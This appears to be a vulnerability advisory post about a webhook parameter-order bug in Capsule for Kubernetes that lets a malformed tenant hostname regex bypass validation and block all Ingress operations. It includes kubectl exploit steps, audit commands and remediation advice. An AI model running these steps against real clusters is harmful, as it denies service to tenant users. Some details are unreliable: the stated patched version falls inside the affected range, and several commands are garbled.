Listen to this Post
A parameter order bug in internal/webhook/tenant/validation/hostname_regex.go causes the hostnameRegexHandler.OnUpdate webhook to validate the old Tenant object’s AllowedHostnames.Regex instead of the new one being submitted. This allows an invalid (malformed) regex to bypass admission validation and be persisted to etcd, causing a Denial of Service for all Ingress operations within the affected tenant.
The TypedHandler
interface defines OnUpdate as:</h2>
[bash]
// handlers.go
OnUpdate(c client.Client, reader client.Reader, obj T, old T, decoder admission.Decoder, recorder events.EventRecorder) Func
// ^^^ NEW ^^^ OLD
The dispatcher in handler.go:93 calls:
hndl.OnUpdate(c, reader, tnt, old, decoder, recorder)
// ^^^ NEW ^^^ OLD
However, hostnameRegexHandler.OnUpdate in hostname_regex.go declares its parameters in reversed order:
// hostname_regex.go (BUGGY)
func (h hostnameRegexHandler) OnUpdate(
_ client.Client,
_ client.Reader,
old capsulev1beta2.Tenant, // ← receives NEW tenant (mislabeled as old)
tnt capsulev1beta2.Tenant, // ← receives OLD tenant (mislabeled as tnt)
...
) handlers.Func {
return func(...) admission.Response {
if err := h.validate(tnt, req); err != nil { // ← validates OLD, not NEW
return err
}
return nil
}
}
All 11 other handlers in the same package declare (tnt, old) correctly. hostname_regex.go is the only one with the swap.
As a result, when a Cluster Admin updates Tenant.Spec.IngressOptions.AllowedHostnames.Regex to a malformed value, the webhook compiles the previous valid regex and returns Allow. The malformed regex is then written to etcd.
Subsequently, every Ingress CREATE or UPDATE in that tenant triggers validate_hostnames.go:160:
matched, _ = regexp.MatchString(allowedRegex, currentHostname)
regexp.MatchString with an invalid pattern returns (false, error). The error is silently ignored, matched is false, and every hostname is rejected — blocking all Ingress operations in the tenant until the Tenant object is manually corrected by an admin.
DailyCVE Form:
Platform: Kubernetes
Version: 0.13.0-0.13.7
Vulnerability: CWE-697
Severity: Medium
date: 2026-09-18
Prediction: 2026-09-25
What Undercode Say:
Analytics:
Check Capsule version
kubectl get deployment -n capsule-system capsule-controller-manager -o jsonpath='{.spec.template.spec.containers[bash].image}'
Verify Tenant allowed hostnames regex configuration
kubectl get tenant demo-tenant -o jsonpath='{.spec.ingressOptions.allowedHostnames.regex}'
Monitor webhook validation events
kubectl get events -n capsule-system --field-selector reason=FailedAdmission
Check Ingress creation failures
kubectl get events --all-namespaces --field-selector reason=FailedCreate | grep -i ingress
Audit Tenant updates
kubectl get tenants --watch -o custom-columns=NAME:.metadata.name,REGEX:.spec.ingressOptions.allowedHostnames.regex,UPDATED:.metadata.managedFields[bash].time
// Vulnerable code path in hostname_regex.go
func (h hostnameRegexHandler) OnUpdate(
_ client.Client,
_ client.Reader,
old capsulev1beta2.Tenant,
tnt capsulev1beta2.Tenant,
...
) handlers.Func {
return func(...) admission.Response {
if err := h.validate(tnt, req); err != nil { // Validates OLD tenant
return err
}
return nil
}
}
// Ingress validation trigger in validate_hostnames.go:160 matched, _ = regexp.MatchString(allowedRegex, currentHostname) // Error silently ignored - all hostnames rejected
Exploit: (Educational Purposes!)
Step 1: Set valid regex on Tenant
kubectl patch tenant demo-tenant --type merge -p '{"spec":{"ingressOptions":{"allowedHostnames":{"regex":"^[\w.-]+\.example\.com$"}}}}'
Step 2: Attempt to set malformed regex (bypasses validation due to bug)
kubectl patch tenant demo-tenant --type merge -p '{"spec":{"ingressOptions":{"allowedHostnames":{"regex":"[invalid-regex("}}}}'
Step 3: Verify malformed regex persisted to etcd
kubectl get tenant demo-tenant -o jsonpath='{.spec.ingressOptions.allowedHostnames.regex}'
Output: [invalid-regex(
Step 4: Attempt Ingress creation (will be blocked)
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test-ingress
namespace: demo-tenant
spec:
rules:
- host: app.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: test-service
port:
number: 80
EOF
Error: admission webhook denied the request: hostname not allowed
Protection: from this CVE
Upgrade to patched version 0.13.7
helm upgrade capsule projectcapsule/capsule --version 0.13.7 -n capsule-system
Audit existing Tenant regex configurations
kubectl get tenants -o jsonpath='{range .items[]}{.metadata.name}{"\t"}{.spec.ingressOptions.allowedHostnames.regex}{"\n"}{end}'
Validate regex syntax manually
kubectl get tenant demo-tenant -o jsonpath='{.spec.ingressOptions.allowedHostnames.regex}' | grep -P '^[\w.-]+.example.com$'
Implement admission webhook for Tenant regex validation (defense in depth)
kubectl apply -f - <<EOF
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingWebhookConfiguration
metadata:
name: tenant-regex-validator
webhooks:
- name: validate.tenant.regex
clientConfig:
service:
name: regex-validator
namespace: security
path: /validate
rules:
- apiGroups: ["capsule.clastix.io"]
apiVersions: ["v1beta2"]
operations: ["UPDATE"]
resources: ["tenants"]
failurePolicy: Fail
sideEffects: None
admissionReviewVersions: ["v1"]
EOF
Monitor for malformed regex patterns
kubectl get tenants -o json | jq -r '.items[] | select(.spec.ingressOptions.allowedHostnames.regex != null) | "\(.metadata.name): \(.spec.ingressOptions.allowedHostnames.regex)"' | while read line; do
regex=$(echo "$line" | cut -d: -f2-)
echo "$regex" | grep -qP '^[\w.-]+\.example\.com$' || echo "INVALID: $line"
done
Impact:
A Cluster Admin (or a compromised admin account) can — intentionally or via a typo — set a malformed AllowedHostnames.Regex on any Tenant. The webhook silently accepts the update. All users in the affected tenant are subsequently unable to create or update any Ingress resource until an admin manually corrects the Tenant spec. This constitutes a targeted Denial of Service against the tenant’s ingress layer.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
